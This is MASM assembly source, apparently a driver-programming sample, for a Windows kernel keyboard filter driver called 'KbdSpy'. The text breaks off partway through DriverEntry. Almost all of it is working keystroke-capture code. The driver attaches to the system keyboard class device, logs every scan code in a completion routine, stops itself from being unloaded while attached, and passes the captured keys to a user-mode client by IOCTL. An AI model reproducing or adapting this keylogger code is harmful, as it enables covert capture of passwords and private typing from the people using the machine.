CCOUNTED_UNICODE_STRING "\\Device\\KbdSpy", g_usControlDeviceName, 4
CCOUNTED_UNICODE_STRING "\\DosDevices\\KbdSpy", g_usSymbolicLinkName, 4
CCOUNTED_UNICODE_STRING "\\Device\\KeyboardClass0", g_usTargetDeviceName, 4
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; U N I N I T I A L I Z E D D A T A
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
.data?
g_pDriverObject PDRIVER_OBJECT ?
g_pControlDeviceObject PDEVICE_OBJECT ? ; Control Device Object pointer
g_pFilterDeviceObject PDEVICE_OBJECT ? ; Filter Device Object pointer
g_pEventObject PKEVENT ?
; This spin-lock let us be sure that no one will dereference event object pointer
; while we compare it agaist NULL and then call KeSetEvent in our completion routine
g_EventSpinLock KSPIN_LOCK ? ; locks key data list
g_fCDO_Opened BOOL ?
g_fFiDO_Attached BOOL ?
g_fSpy BOOL ?
g_dwPendingRequests DWORD ?
align 4
g_pKeyDataLookaside PNPAGED_LOOKASIDE_LIST ?
align 4
g_KeyDataListHead LIST_ENTRY <> ; accessed under lock
; Holds number of KEY_DATA_ENTRYs in list. Should not exceed MAX_KEY_DATA_ENTRIES.
g_cKeyDataEntries SDWORD ? ; accessed under lock
; This spin-lock let us be sure that only one thread is working with key data at a time
g_KeyDataSpinLock KSPIN_LOCK ?
; This mutex let us be sure no one will try to do some unpredictable things.
; For example: no one can try to attach while we in the middle of the detaching.
align 4
g_mtxCDO_State KMUTEX <>
g_KEY_DATA KEY_DATA <>
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; C O D E
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
.code
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; _ExAllocateFromNPagedLookasideList
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
_ExAllocateFromNPagedLookasideList proc uses esi Lookaside:PNPAGED_LOOKASIDE_LIST
;; Function Description:
;; This function removes (pops) the first entry from the specified
;; nonpaged lookaside list.
;;
;; Arguments:
;; Lookaside - Supplies a pointer to a nonpaged lookaside list structure.
;;
;; Return Value:
;; If an entry is removed from the specified lookaside list, then the
;; address of the entry is returned as the function value. Otherwise,
;; NULL is returned.
mov esi, Lookaside
assume esi:ptr NPAGED_LOOKASIDE_LIST
mov ecx, esi
inc [esi].L.TotalAllocates
lea edx, [esi]._Lock
fastcall ExInterlockedPopEntrySList, ecx, edx
.if eax == NULL
push [esi].L.Tag
inc [esi].L.AllocateMisses
push [esi].L._Size
push [esi].L._Type
call [esi].L.Allocate
.endif
assume esi:nothing
ret
_ExAllocateFromNPagedLookasideList endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; _ExFreeToNPagedLookasideList
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
_ExFreeToNPagedLookasideList proc Lookaside:PNPAGED_LOOKASIDE_LIST, Entry:PVOID
;; Function Description:
;; This function inserts (pushes) the specified entry into the specified
;; nonpaged lookaside list.
;;
;; Arguments:
;; Lookaside - Supplies a pointer to a nonpaged lookaside list structure.
;; Entry - Supples a pointer to the entry that is inserted in the lookaside list.
;;
;; Return Value:
;; None.
mov ecx, Lookaside
assume ecx:ptr NPAGED_LOOKASIDE_LIST
inc [ecx].L.TotalFrees
mov ax, [ecx].L.ListHead.Depth
.if ax >= [ecx].L.Depth
push Entry
inc [ecx].L.FreeMisses
call [ecx].L.Free
.else
mov edx, Entry
lea eax, [ecx]._Lock
fastcall ExInterlockedPushEntrySList, ecx, edx, eax
.endif
assume ecx:nothing
ret
_ExFreeToNPagedLookasideList endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; AddEntry
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
AddEntry proc uses ebx pKeyData:PKEY_DATA
; We have to access g_cKeyDataEntries and g_KeyDataListHead
; under lock protection. Since keyboard hits occur relatively rare
; we simply protect whole code. So, this proc may be optimized a little.
LOCK_ACQUIRE g_KeyDataSpinLock
mov bl, al ; old IRQL
.if g_cKeyDataEntries < 255 ; MAX_KEY_DATA_ENTRIES=255
; Allocate new entry from lookaside list
invoke _ExAllocateFromNPagedLookasideList, g_pKeyDataLookaside
.if eax != NULL
mov edx, eax
assume edx:ptr KEY_DATA_ENTRY
mov ecx, pKeyData
assume ecx:ptr KEY_DATA
mov eax, [ecx].dwScanCode
mov [edx].KeyData.dwScanCode, eax
mov eax, [ecx].Flags
mov [edx].KeyData.Flags, eax
assume ecx:nothing
; Add to head
lea ecx, [edx].ListEntry
InsertHeadList addr g_KeyDataListHead, ecx
assume edx:nothing
inc g_cKeyDataEntries
.endif
.endif
LOCK_RELEASE g_KeyDataSpinLock, bl
ret
AddEntry endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; RemoveEntry
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
RemoveEntry proc uses ebx pBuffer:PVOID
local cbCopied:DWORD
and cbCopied, 0
; We have to access g_cKeyDataEntries and g_KeyDataListHead
; under lock protection. Since keyboard hits occur relatively rare
; we simply protect whole code. So, this proc may be optimized a little.
LOCK_ACQUIRE g_KeyDataSpinLock
mov bl, al ; old IRQL
IsListEmpty addr g_KeyDataListHead
.if eax != TRUE ; Is there something to remove?
; Remove from tail
RemoveTailList addr g_KeyDataListHead
mov edx, eax ; edx -> KEY_DATA_ENTRY.ListEntry
sub edx, KEY_DATA_ENTRY.ListEntry ; edx -> KEY_DATA_ENTRY ;why ??? sub , KEY_DATA_ENTRY.ListEntry is what
assume edx:ptr KEY_DATA_ENTRY
mov ecx, pBuffer
assume ecx:ptr KEY_DATA
mov eax, [edx].KeyData.dwScanCode
mov [ecx].dwScanCode, eax
mov eax, [edx].KeyData.Flags
mov [ecx].Flags, eax
mov cbCopied, sizeof KEY_DATA
assume ecx:nothing
assume edx:nothing
; Put a block back onto lookaside list
;
invoke _ExFreeToNPagedLookasideList, g_pKeyDataLookaside, edx
dec g_cKeyDataEntries
.endif
LOCK_RELEASE g_KeyDataSpinLock, bl
mov eax, cbCopied
ret
RemoveEntry endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; KeyboardAttach
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
KeyboardAttach proc
local status:NTSTATUS
local pTargetDeviceObject:PDEVICE_OBJECT
local pTargetFileObject:PFILE_OBJECT
dprintf $CTA0("KbdSpy: Entering KeyboardAttach\n")
mov status, STATUS_UNSUCCESSFUL
.if ( g_pFilterDeviceObject != NULL )
; Filter device object exist and should be attached
mov status, STATUS_SUCCESS
.else
; Let's attach to keyboard device stack
;
; Create unnamed device because filter device objects should never be named.
; We are going to attach it to existing keyboard device stack. So no one may
; directly open filter device by name.
mov eax, g_pControlDeviceObject
mov ecx, (DEVICE_OBJECT PTR [eax]).DriverObject
invoke IoCreateDevice, ecx, sizeof FiDO_DEVICE_EXTENSION, NULL, \
FILE_DEVICE_UNKNOWN, 0, FALSE, addr g_pFilterDeviceObject
.if eax == STATUS_SUCCESS
; Supply a name for any device object in the stack we are about to attach to.
; IoGetDeviceObjectPointer returns the pointer to upper most device object in the stack.
invoke IoGetDeviceObjectPointer, addr g_usTargetDeviceName, FILE_READ_DATA, \
addr pTargetFileObject, addr pTargetDeviceObject
.if eax == STATUS_SUCCESS
; Here we have two pointers: pointer to the topmost device in the keyboard stack
; and pointer to the corresponding file object. IoGetDeviceObjectPointer
; references file object but not the device object.
;
; We are just one line from attaching to our target. We must prevent
; our driver from unloading while it intercepts keyboard IRPs.
; We could use RemoveLock, but the easiest solution is to remove pointer
; to DriverUnload routine from driver object. OK, let's do it.
mov eax, g_pDriverObject
and (DRIVER_OBJECT PTR [eax]).DriverUnload, NULL
; Now our driver is not unloadable
invoke IoAttachDeviceToDeviceStack, g_pFilterDeviceObject, pTargetDeviceObject
.if eax != NULL
mov edx, eax
; Fill filter device object extension
mov ecx, g_pFilterDeviceObject
mov eax, (DEVICE_OBJECT ptr [ecx]).DeviceExtension
assume eax:ptr FiDO_DEVICE_EXTENSION
mov [eax].pNextLowerDeviceObject, edx
push pTargetFileObject
pop [eax].pTargetFileObject
assume eax:nothing
; We need to copy DeviceType and Characteristics from the target device object
; underneath us to our filter device object. We also need to copy DO_DIRECT_IO,
; DO_BUFFERED_IO, and DO_POWER_PAGABLE flags. This guarantees that the filter
; device object looks the same as the target device object.
assume edx:ptr DEVICE_OBJECT
assume ecx:ptr DEVICE_OBJECT
mov eax, [edx].DeviceType
mov [ecx].DeviceType, eax
mov eax, [edx].Flags
and eax, DO_DIRECT_IO + DO_BUFFERED_IO + DO_POWER_PAGABLE
or [ecx].Flags, eax
; IoCreateDevice sets the DO_DEVICE_INITIALIZING flag in the device object.
; While this flag is set, the I/O Manager will refuse to attach other device
; objects to us or to open a handle to our device. So we have to clear
; this flag because now we are ready to filter.
;
; Note: It is not necessary to clear the DO_DEVICE_INITIALIZING flag on device
; objects that are created in DriverEntry, because this is done automatically
; by the I/O Manager.
and [ecx].Flags, not DO_DEVICE_INITIALIZING
assume edx:nothing
assume ecx:nothing
mov status, STATUS_SUCCESS
.else ; IoAttachDeviceToDeviceStack failed
; We have failed to attach
invoke ObDereferenceObject, pTargetFileObject
invoke IoDeleteDevice, g_pFilterDeviceObject
and g_pFilterDeviceObject, NULL
; Let the driver to be unloaded
mov eax, g_pDriverObject
mov (DRIVER_OBJECT PTR [eax]).DriverUnload, offset DriverUnload
dprintf $CTA0("KbdSpy: Couldn't attach to target device\n")
mov status, STATUS_NO_SUCH_DEVICE
.endif
.else ; IoGetDeviceObjectPointer failed
invoke IoDeleteDevice, g_pFilterDeviceObject
and g_pFilterDeviceObject, NULL
dprintf $CTA0("KbdSpy: Couldn't get target device object pointer\n")
.endif
.else
dprintf $CTA0("KbdSpy: Couldn't create filter device\n")
.endif
.endif
mov eax, status
ret
KeyboardAttach endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; KeyboardDetach
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
KeyboardDetach proc
local status:NTSTATUS
local pTopmostDeviceObject:PDEVICE_OBJECT
dprintf $CTA0("KbdSpy: Entering KeyboardDetach\n")
mov status, STATUS_UNSUCCESSFUL
.if g_pFilterDeviceObject != NULL
; Lets see if there is someone above us.
; Temporary set the DO_DEVICE_INITIALIZING flag in filter device object.
; So no one can attach while we check the stack.
mov eax, g_pFilterDeviceObject
or (DEVICE_OBJECT ptr [eax]).Flags, DO_DEVICE_INITIALIZING
invoke IoGetAttachedDeviceReference, g_pFilterDeviceObject
mov pTopmostDeviceObject, eax
.if eax != g_pFilterDeviceObject
; Someone sits on the top of us. Do nothing except restoring
; Flags field in the filter device object
mov eax, g_pFilterDeviceObject
and (DEVICE_OBJECT ptr [eax]).Flags, not DO_DEVICE_INITIALIZING
dprintf $CTA0("KbdSpy: Couldn't detach. Someone sits over\n")
dprintf $CTA0("KbdSpy: Filter device is still attached\n")
.else
mov eax, g_pFilterDeviceObject
mov eax, (DEVICE_OBJECT ptr [eax]).DeviceExtension
mov ecx, (FiDO_DEVICE_EXTENSION ptr [eax]).pTargetFileObject
fastcall ObfDereferenceObject, ecx
mov eax, g_pFilterDeviceObject
mov eax, (DEVICE_OBJECT ptr [eax]).DeviceExtension
mov eax, (FiDO_DEVICE_EXTENSION ptr [eax]).pNextLowerDeviceObject
invoke IoDetachDevice, eax
mov status, STATUS_SUCCESS
dprintf $CTA0("KbdSpy: Filter device detached\n")
; Destroy filter device.
mov eax, g_pFilterDeviceObject
and g_pFilterDeviceObject, NULL
invoke IoDeleteDevice, eax
; Our driver is still not unloadable because we might have outstanding IRPs
.endif
; Dereference the device object pointer returned by IoGetAttachedDeviceReference
invoke ObDereferenceObject, pTopmostDeviceObject
.endif
mov eax, status
ret
KeyboardDetach endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; FiDO_DispatchPassThrough
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
FiDO_DispatchPassThrough proc pDeviceObject:PDEVICE_OBJECT, pIrp:PIRP
; The default dispatch routine. Our driver should send down all IRPs it deal not with
IoSkipCurrentIrpStackLocation pIrp
mov eax, pDeviceObject
mov eax, (DEVICE_OBJECT ptr [eax]).DeviceExtension
mov eax, (FiDO_DEVICE_EXTENSION ptr [eax]).pNextLowerDeviceObject
invoke IoCallDriver, eax, pIrp
ret
FiDO_DispatchPassThrough endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; CDO_DispatchCreate
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
CDO_DispatchCreate proc pDeviceObject:PDEVICE_OBJECT, pIrp:PIRP
local status:NTSTATUS
local KeyData:KEY_DATA
dprintf $CTA0("KbdSpy: Entering CDO_DispatchCreate\n")
; Drain g_KeyDataListHead. If someone have ran KbdSpy previously
; but have failed to unload the driver because of not pressing
; a key as recommended, we have at least one pending IRP. When
; someone press a kay this pending IRP is completed and our
; completion routine will add one entry into g_KeyDataListHead.
; So if it's not a first time we are being created we may have
; some entr(ies)y in g_KeyDataListHead from previous sessions.
; So lets throw them away.
;.while TRUE
;invoke RemoveEntry, addr KeyData
;.break .if eax == 0
;.endw
MUTEX_ACQUIRE g_mtxCDO_State
.if g_fCDO_Opened
; Only one client at a time is allowed
mov status, STATUS_DEVICE_BUSY
.else
; No one else may open control device
mov g_fCDO_Opened, TRUE
mov status, STATUS_SUCCESS
.endif
MUTEX_RELEASE g_mtxCDO_State
mov ecx, pIrp
and (_IRP PTR [ecx]).IoStatus.Information, 0
mov eax, status
mov (_IRP PTR [ecx]).IoStatus.Status, eax
fastcall IofCompleteRequest, ecx, IO_NO_INCREMENT
mov eax, status
ret
CDO_DispatchCreate endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; CDO_DispatchClose
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
CDO_DispatchClose proc pDeviceObject:PDEVICE_OBJECT, pIrp:PIRP
local KeyData:KEY_DATA
dprintf $CTA0("KbdSpy: Entering CDO_DispatchClose\n")
; Do not set completion routine any more
.while TRUE
invoke RemoveEntry, addr KeyData
.break .if eax == 0
.endw
and g_fSpy, FALSE
MUTEX_ACQUIRE g_mtxCDO_State
.if ( g_pFilterDeviceObject == NULL )
.if g_dwPendingRequests == 0
; If we have datached from the keyboard stack, and there is
; no outstanding IRPs it's safe to unload.
mov eax, g_pDriverObject
mov (DRIVER_OBJECT PTR [eax]).DriverUnload, offset DriverUnload
.endif
.endif
; Someone else may open control device
and g_fCDO_Opened, FALSE
MUTEX_RELEASE g_mtxCDO_State
mov eax, STATUS_SUCCESS
mov ecx, pIrp
and (_IRP PTR [ecx]).IoStatus.Information, 0
mov (_IRP PTR [ecx]).IoStatus.Status, eax
push eax
fastcall IofCompleteRequest, ecx, IO_NO_INCREMENT
pop eax
ret
CDO_DispatchClose endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; FillKeyData
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
FillKeyData proc uses edi ebx ecx edx pBuffer:PVOID, cbBuffer:DWORD
local KeyData:KEY_DATA
local cbReturned:DWORD
and cbReturned, 0
; Lets see how many KEY_DATAs will fit into passed in buffer
mov eax, cbBuffer
mov ecx, sizeof KEY_DATA
xor edx, edx
div ecx
mov ebx, eax
mov edi, pBuffer
.while ebx
invoke RemoveEntry, edi
.break .if eax == 0
add cbReturned, eax
dec ebx
add edi, sizeof KEY_DATA
.endw
mov eax, cbReturned
ret
FillKeyData endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; CDO_DispatchDeviceControl
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
CDO_DispatchDeviceControl proc uses esi edi ebx pDeviceObject:PDEVICE_OBJECT, pIrp:PIRP
local status:NTSTATUS
local pEventObject:PKEVENT
local liDelayTime:LARGE_INTEGER
local KeyData:KEY_DATA
dprintf $CTA0("enter CDO_DispatchDeviceControl...\n")
mov status, STATUS_UNSUCCESSFUL
mov esi, pIrp
assume esi:ptr _IRP
mov [esi].IoStatus.Status, STATUS_UNSUCCESSFUL
and [esi].IoStatus.Information, 0
IoGetCurrentIrpStackLocation esi
mov edi, eax
assume edi:ptr IO_STACK_LOCATION
.if [edi].Parameters.DeviceIoControl.IoControlCode == IOCTL_KEYBOARD_ATTACH
.if [edi].Parameters.DeviceIoControl.InputBufferLength == sizeof HANDLE
MUTEX_ACQUIRE g_mtxCDO_State
; The user-mode client wants us attach to the keyboard device stack
mov edx, [esi].AssociatedIrp.SystemBuffer
mov edx, [edx] ; event handle from user-mode
mov ecx, ExEventObjectType
mov ecx, [ecx]
mov ecx, [ecx] ; PTR OBJECT_TYPE
invoke ObReferenceObjectByHandle, edx, EVENT_MODIFY_STATE, ecx, \
UserMode, addr pEventObject, NULL
.if eax == STATUS_SUCCESS
; If passed event handle is valid, attach to keyboard
.if !g_fFiDO_Attached
invoke KeyboardAttach
mov [esi].IoStatus.Status, eax
.if eax == STATUS_SUCCESS
mov eax, pEventObject
mov g_pEventObject, eax ; No need to lock
mov g_fFiDO_Attached, TRUE
mov g_fSpy, TRUE ; Set completion routine.
dprintf $CTA0(" mov g_fSpy, TRUE \n")
mov eax, g_pControlDeviceObject
mov eax, (DEVICE_OBJECT ptr [eax]).DeviceExtension
mov (CDO_DEVICE_EXTENSION ptr [eax]).g_fSpy, TRUE
.else
; Failed to attach
invoke ObDereferenceObject, pEventObject
.endif
.else
; We was attached
LOCK_ACQUIRE g_EventSpinLock
mov bl, al ; old IRQL
mov eax, g_pEventObject
.if eax != NULL
and g_pEventObject, NULL
invoke ObDereferenceObject, eax
.endif
mov eax, pEventObject
mov g_pEventObject, eax
LOCK_RELEASE g_EventSpinLock, bl
mov g_fSpy, TRUE; Set completion routine.
mov eax, g_pControlDeviceObject
mov eax, (DEVICE_OBJECT ptr [eax]).DeviceExtension
mov (CDO_DEVICE_EXTENSION ptr [eax]).g_fSpy, TRUE
mov [esi].IoStatus.Status, STATUS_SUCCESS
.endif
.else
mov [esi].IoStatus.Status, STATUS_INVALID_PARAMETER
.endif
MUTEX_RELEASE g_mtxCDO_State
.else
mov [esi].IoStatus.Status, STATUS_INFO_LENGTH_MISMATCH
.endif
.elseif [edi].Parameters.DeviceIoControl.IoControlCode == IOCTL_KEYBOARD_DETACH
MUTEX_ACQUIRE g_mtxCDO_State
; The user-mode client wants us to detach from the keyboard device stack
.if g_fFiDO_Attached
; Do not set completion routine any more no matter will we detach or not
and g_fSpy, FALSE
mov eax, g_pControlDeviceObject
mov eax, (DEVICE_OBJECT ptr [eax]).DeviceExtension
and (CDO_DEVICE_EXTENSION ptr [eax]).g_fSpy, FALSE
invoke KeyboardDetach
mov [esi].IoStatus.Status, eax
.if eax == STATUS_SUCCESS
mov g_fFiDO_Attached, FALSE
.endif
LOCK_ACQUIRE g_EventSpinLock
mov bl, al ; old IRQL
mov eax, g_pEventObject
.if eax != NULL
and g_pEventObject, NULL
invoke ObDereferenceObject, eax
.endif
LOCK_RELEASE g_EventSpinLock, bl
.endif
MUTEX_RELEASE g_mtxCDO_State
.elseif [edi].Parameters.DeviceIoControl.IoControlCode == IOCTL_GET_KEY_DATA
.if [edi].Parameters.DeviceIoControl.OutputBufferLength >= sizeof KEY_DATA
dprintf $CTA0("enter 'IOCTL_GET_KEY_DATA'...\n ")
invoke FillKeyData, [esi].AssociatedIrp.SystemBuffer, \
[edi].Parameters.DeviceIoControl.OutputBufferLength
mov [esi].IoStatus.Information, eax
mov [esi].IoStatus.Status, STATUS_SUCCESS
.else
mov [esi].IoStatus.Status, STATUS_BUFFER_TOO_SMALL
.endif
.else
mov [esi].IoStatus.Status, STATUS_INVALID_DEVICE_REQUEST
.endif
mov eax, [esi].IoStatus.Status
mov status, eax
assume esi:nothing
assume edi:nothing
fastcall IofCompleteRequest, esi, IO_NO_INCREMENT
mov eax, status
ret
CDO_DispatchDeviceControl endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; DriverUnload
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
DriverUnload proc pDriverObject:PDRIVER_OBJECT
local KeyData:KEY_DATA
dprintf $CTA0("DriverUnload...\n")
invoke IoDeleteSymbolicLink, addr g_usSymbolicLinkName
; Empty and destroy list
.while TRUE
invoke RemoveEntry, addr KeyData
.break .if eax == 0
.endw
invoke ExDeleteNPagedLookasideList, g_pKeyDataLookaside
invoke ExFreePool, g_pKeyDataLookaside
mov eax, pDriverObject
invoke IoDeleteDevice, (DRIVER_OBJECT PTR [eax]).DeviceObject
ret
DriverUnload endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; ReadComplete
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
ReadComplete proc uses esi edi ebx pDeviceObject:PDEVICE_OBJECT, pIrp:PIRP, pContext:PVOID
local KeyData:KEY_DATA
local cEntriesLogged:DWORD
dprintf $CTA0("enter ReadComplete ...\n ")
; This routine is to be called when the IRP is completed.
; It is running at IRQL <= DISPATCH_LEVEL and in an arbitrary thread context.
mov esi, pIrp
assume esi:ptr _IRP
; Probably better to use NT_SUCCESS-like behaviour, but it works anyway
.if [esi].IoStatus.Status == STATUS_SUCCESS
; At least one KEYBOARD_INPUT_DATA structure was transferred.
; The AssociatedIrp.SystemBuffer member points to the output buffer
; that is allocated by the Win32 subsystem to output the requested
; number of KEYBOARD_INPUT_DATA structures.
mov edi, [esi].AssociatedIrp.SystemBuffer
assume edi:ptr KEYBOARD_INPUT_DATA
; The Information member specifies the number of bytes
; that are transferred to the Win32 subsystem output buffer.
mov ebx, [esi].IoStatus.Information
and cEntriesLogged, 0
.while sdword ptr ebx >= sizeof KEYBOARD_INPUT_DATA
movzx eax, [edi].MakeCode
mov KeyData.dwScanCode, eax
;mov g_KEY_DATA.dwScanCode, eax
dprintf $CTA0("dwScanCode=%d\n"),eax
movzx eax, [edi].Flags
mov KeyData.Flags, eax
;mov g_KEY_DATA.Flags, eax
dprintf $CTA0("Flags=%d\n"),eax
invoke AddEntry, addr KeyData
inc cEntriesLogged
add edi, sizeof KEYBOARD_INPUT_DATA
sub ebx, sizeof KEYBOARD_INPUT_DATA
.endw
assume edi:nothing
; Notify user-mode client.
;.while cEntriesLogged != 0
LOCK_ACQUIRE g_EventSpinLock
mov bl, al ; old IRQL
.if ( g_pEventObject != NULL ) ; EventObject may go away
invoke KeSetEvent, g_pEventObject, 0, FALSE
.endif
LOCK_RELEASE g_EventSpinLock, bl
;dec cEntriesLogged
;.endw
.endif
; Any driver that returns STATUS_SUCCESS from IoCompletion routine should check the
; IRP->PendingReturned flag in the IoCompletion routine. If the flag is set,
; the IoCompletion routine must call IoMarkIrpPending with the IRP.
.if [esi].PendingReturned
IoMarkIrpPending esi
.endif
assume esi:nothing
lock dec g_dwPendingRequests
mov eax, STATUS_SUCCESS
ret
ReadComplete endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; FiDO_DispatchRead
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
FiDO_DispatchRead proc pDeviceObject:PDEVICE_OBJECT, pIrp:PIRP
; The IRP_MJ_READ request transfers zero or more KEYBOARD_INPUT_DATA structures
; from Kbdclass's internal data queue to the Win32 subsystem buffer.
mov eax, g_pControlDeviceObject
mov eax, (DEVICE_OBJECT ptr [eax]).DeviceExtension
mov eax, (CDO_DEVICE_EXTENSION ptr [eax]).g_fSpy
.if eax ; g_fSpy
dprintf $CTA0("enter FiDO_DispatchRead g_fSpy...\n")
lock inc g_dwPendingRequests
; We pass the same parameters to lower driver copying our stack location to the next-lower one.
IoCopyCurrentIrpStackLocationToNext pIrp
; To find out how the IRP will be completed we install completion routine.
; It will be called when the next-lower-level driver has completed IRP.
IoSetCompletionRoutine pIrp, ReadComplete, NULL, TRUE, TRUE, TRUE
.else
dprintf $CTA0("enter FiDO_DispatchRead not g_fSpy...\n")
; No need to know what will happen with IRP. So just pass it down and forget.
; Bacause we do not need to set completion routine use IoSkipCurrentIrpStackLocation
; instead of IoCopyCurrentIrpStackLocationToNext. It's faster.
IoSkipCurrentIrpStackLocation pIrp
.endif
; It's time to send an IRP to next-lower-level driver.
mov eax, pDeviceObject
mov eax, (DEVICE_OBJECT ptr [eax]).DeviceExtension
mov eax, (FiDO_DEVICE_EXTENSION ptr [eax]).pNextLowerDeviceObject
invoke IoCallDriver, eax, pIrp
; We must return exactly the same value IoCallDriver has returned.
ret
FiDO_DispatchRead endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; FiDO_DispatchPower
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
FiDO_DispatchPower proc pDeviceObject:PDEVICE_OBJECT, pIrp:PIRP
invoke PoStartNextPowerIrp, pIrp
IoSkipCurrentIrpStackLocation pIrp
mov eax, pDeviceObject
mov eax, (DEVICE_OBJECT ptr [eax]).DeviceExtension
mov eax, (FiDO_DEVICE_EXTENSION ptr [eax]).pNextLowerDeviceObject
invoke PoCallDriver, eax, pIrp
; We must return exactly the same value PoCallDriver has returned.
ret
FiDO_DispatchPower endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; DriverDispatch
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
DriverDispatch proc pDeviceObject:PDEVICE_OBJECT, pIrp:PIRP
local status:NTSTATUS
local dwMajorFunction:DWORD
IoGetCurrentIrpStackLocation pIrp
movzx eax, (IO_STACK_LOCATION PTR [eax]).MajorFunction
mov dwMajorFunction, eax
mov eax, pDeviceObject
.if eax == g_pFilterDeviceObject
mov eax, dwMajorFunction
.if eax == IRP_MJ_READ
invoke FiDO_DispatchRead, pDeviceObject, pIrp
mov status, eax
.elseif eax == IRP_MJ_POWER
invoke FiDO_DispatchPower, pDeviceObject, pIrp
mov status, eax
.else
invoke FiDO_DispatchPassThrough, pDeviceObject, pIrp
mov status, eax
.endif
.elseif eax == g_pControlDeviceObject
; Request is to our CDO. Let' see what our client want us do
mov eax, dwMajorFunction
.if eax == IRP_MJ_CREATE
invoke CDO_DispatchCreate, pDeviceObject, pIrp
mov status, eax
.elseif eax == IRP_MJ_CLOSE
invoke CDO_DispatchClose, pDeviceObject, pIrp
mov status, eax
.elseif eax == IRP_MJ_DEVICE_CONTROL
invoke CDO_DispatchDeviceControl, pDeviceObject, pIrp
mov status, eax
.else
mov ecx, pIrp
mov (_IRP PTR [ecx]).IoStatus.Status, STATUS_INVALID_DEVICE_REQUEST
and (_IRP PTR [ecx]).IoStatus.Information, 0
fastcall IofCompleteRequest, ecx, IO_NO_INCREMENT
mov status, STATUS_INVALID_DEVICE_REQUEST
.endif
.else
; Strange, we have recieved IRP for the device we do not know about.
; This should never happen. Just complete IRP as invalid.
mov ecx, pIrp
mov (_IRP PTR [ecx]).IoStatus.Status, STATUS_INVALID_DEVICE_REQUEST
and (_IRP PTR [ecx]).IoStatus.Information, 0
fastcall IofCompleteRequest, ecx, IO_NO_INCREMENT
mov status, STATUS_INVALID_DEVICE_REQUEST
.endif
mov eax, status
ret
DriverDispatch endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; D I S C A R D A B L E C O D E
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
.code INIT
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; DriverEntry
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
DriverEntry proc pDriverObject:PDRIVER_OBJECT, pusRegistryPath:PUNICODE_STRING
local status:NTSTATUS
mov status, STATUS_DEVICE_CONFIGURATION_ERROR
; Create a Control Device Object (CDO). The purpose of the CDO is to allow
; our user-mode client to communicate with us, even before the filter is attached
; to its target
;
; We store the CDO pointer into g_pControlDeviceObject, a globally defined variable.
; This way we can identify the control device object in dispatch routines by comparing
; the passed in device pointer against our CDO pointer
;
; CDO is exclusive one. It ensures that only one process opens the device at a time.
; DDK stands it is reserved for system use and drivers set this parameter to FALSE.
; Anyway we set it to TRUE and to force single-client logic mantain global variable
; g_fCDOOpened which we will set/reset in CDO_DispatchCreate/CDO_DispatchClose
